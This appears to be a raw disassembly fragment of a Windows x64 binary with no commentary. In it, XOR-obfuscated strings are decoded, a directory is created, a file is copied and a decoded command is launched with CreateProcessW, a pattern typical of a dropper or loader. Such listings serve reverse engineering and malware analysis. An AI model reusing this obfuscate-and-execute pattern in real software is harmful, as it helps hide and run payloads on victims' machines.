xor byte [rdx + 6], 0xe9
xor byte [rdx + 7], 0x5b
xor byte [rdx + 8], 0x6b
xor byte [rdx + 9], 0x35
xor byte [rdx + 0xa], 0x31
xor byte [rdx + 0xb], 0xd5
xor byte [rdx + 0xc], 0x5d
xor byte [rdx + 0xd], 0x89
xor byte [rdx + 0xe], 0xe9
xor byte [rdx + 0xf], 0x5b
xor byte [rdx + 0x10], 0x6b
xor byte [rdx + 0x11], 0x35
xor byte [rdx + 0x12], 0x31
xor byte [rdx + 0x13], 0xd5
xor byte [rdx + 0x14], 0x5d
xor byte [rdx + 0x15], 0x89
xor byte [rdx + 0x16], 0xe9
xor byte [rdx + 0x17], 0x5b
xor byte [rdx + 0x18], 0x6b
xor byte [rdx + 0x19], 0x35
xor byte [rdx + 0x1a], 0x31
xor byte [rdx + 0x1b], 0xd5
xor byte [rdx + 0x1c], 0x5d
xor byte [rdx + 0x1d], 0x89
mov byte [rdx + 0x1e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], r13
mov qword [rbp + 0x288], r13
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140018340
lea rcx, [rbp + 0x270]
call fcn.140002e60
nop
lea r8, [rbp + 0x270]
cmp qword [rbp + 0x288], 0xf
cmova r8, qword [rbp + 0x270]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.14001e210
mov rdi, rax
lea r8, [rbp + 0x270]
cmp qword [rbp + 0x288], 0xf
cmova r8, qword [rbp + 0x270]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400183e7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
call fcn.14001e060
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x50]
call fcn.140039c30
lea rdx, [rbp + 0x370]
cmp qword [rbp + 0x388], 0xf
cmova rdx, qword [rbp + 0x370]
lea rcx, [rbp - 0x50]
call fcn.14001a3f0
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rdi
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x54], edx
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0xc0]
call fcn.140039c30
mov r8d, 0x20
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0xc0]
call fcn.140019df0
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x40], 6
jne 0x1400184a8
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xd0], 6
jne 0x1400184a8
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xc0]
call fcn.140019fc0
lea rcx, [rbp - 0x40]
call fcn.14001a870
mov ebx, 2
test rax, rax
jne 0x1400184e4
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov eax, r15d
cmp qword [rbp + rcx - 8], 0
cmovne eax, ebx
or eax, dword [rbp + rcx - 0x40]
and eax, 0x17
mov dword [rbp + rcx - 0x40], eax
and eax, dword [rbp + rcx - 0x3c]
jne 0x14001893b
lea rcx, [rbp + 0xc8]
call fcn.14001a870
test rax, rax
jne 0x14001852f
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x108], 0
cmovne r15d, ebx
or r15d, dword [rbp + rcx + 0xd0]
and r15d, 0x17
mov dword [rbp + rcx + 0xd0], r15d
and r15d, dword [rbp + rcx + 0xd4]
jne 0x14001898d
call fcn.140018ea0
mov r9, rax
cmp byte [rax + 0x8e], 0
je 0x14001859f
lea rdx, [rax + 1]
mov r8, rsi
sub r8, rax
movabs r10, 0xd53df29ffdb7137
nop dword [rax]
nop dword [rax + rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x8e
jb 0x140018560
mov byte [r9 + 0x8e], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], r13
mov r8, rsi
inc r8
cmp byte [r9 + r8], 0
jne 0x1400185b2
mov rdx, r9
lea rcx, [rsp + 0x78]
call fcn.140002e60
nop
lea r8, [rsp + 0x78]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x2b0]
call fcn.14001ad70
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x14001861f
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001861a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400189e3
call fcn.14001e060
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rcx, qword [rbp + 0x2c0]
inc rcx
mov rax, rbx
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.14001e210
mov rbx, rax
lea r8, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 0xf
cmova r8, qword [rbp + 0x2b0]
mov ecx, dword [rbp + 0x2c0]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rax
mov dword [rbp + 0x40c], 1
mov word [rbp + 0x410], r13w
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14001e060
nop
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0xf
jbe 0x14001877e
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018779
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400189e9
call fcn.14001e060
mov qword [rbp + 0x2c0], r13
mov qword [rbp + 0x2c8], 0xf
mov byte [rbp + 0x2b0], 0
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rsi
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xc8]
call fcn.140019d40
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rbx
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xbc], edx
mov qword [rbp + 0x168], r14
lea rcx, [rbp + 0x168]
call fcn.14001d5d8
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x50], rdi
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x54], edx
lea rcx, [rbp - 0x40]
call fcn.140019d40
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x54], edx
mov qword [rbp + 0x60], r14
lea rcx, [rbp + 0x60]
call fcn.14001d5d8
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x140017d7a
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400188b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400189ef
call fcn.14001e060
jmp 0x140017d7a
call fcn.140025b4c
nop
test al, 4
je 0x1400188ce
lea rbx, str.ios_base::badbit_set
jmp 0x1400188e2
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x2b0]
call fcn.140001d20
lea rdx, [0x140072188]
lea rcx, [rbp + 0x2b0]
call fcn.14001fffc
nop
call fcn.1400013f0
nop
call fcn.1400013f0
nop
call fcn.1400013f0
nop
call fcn.140025b4c
nop
call fcn.140025b4c
nop
call fcn.140025b4c
nop
test al, 4
je 0x140018948
lea rbx, str.ios_base::badbit_set
jmp 0x14001895c
test bl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001d20
lea rdx, [0x140072188]
lea rcx, [rsp + 0x50]
call fcn.14001fffc
int3
test r15b, 4
je 0x14001899c
lea rbx, str.ios_base::badbit_set
jmp 0x1400189b2
test r15b, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001d20
lea rdx, [0x140072188]
lea rcx, [rsp + 0x50]
call fcn.14001fffc
nop
call fcn.140025b4c
nop
call fcn.140025b4c
nop
call fcn.140025b4c
nop
call fcn.140025b4c
nop
call fcn.140025b4c
nop
call fcn.140025b4c
nop
call fcn.140025b4c
nop
call fcn.140025b4c
nop
call fcn.140025b4c
nop
call fcn.140025b4c
nop
call fcn.140025b4c
int3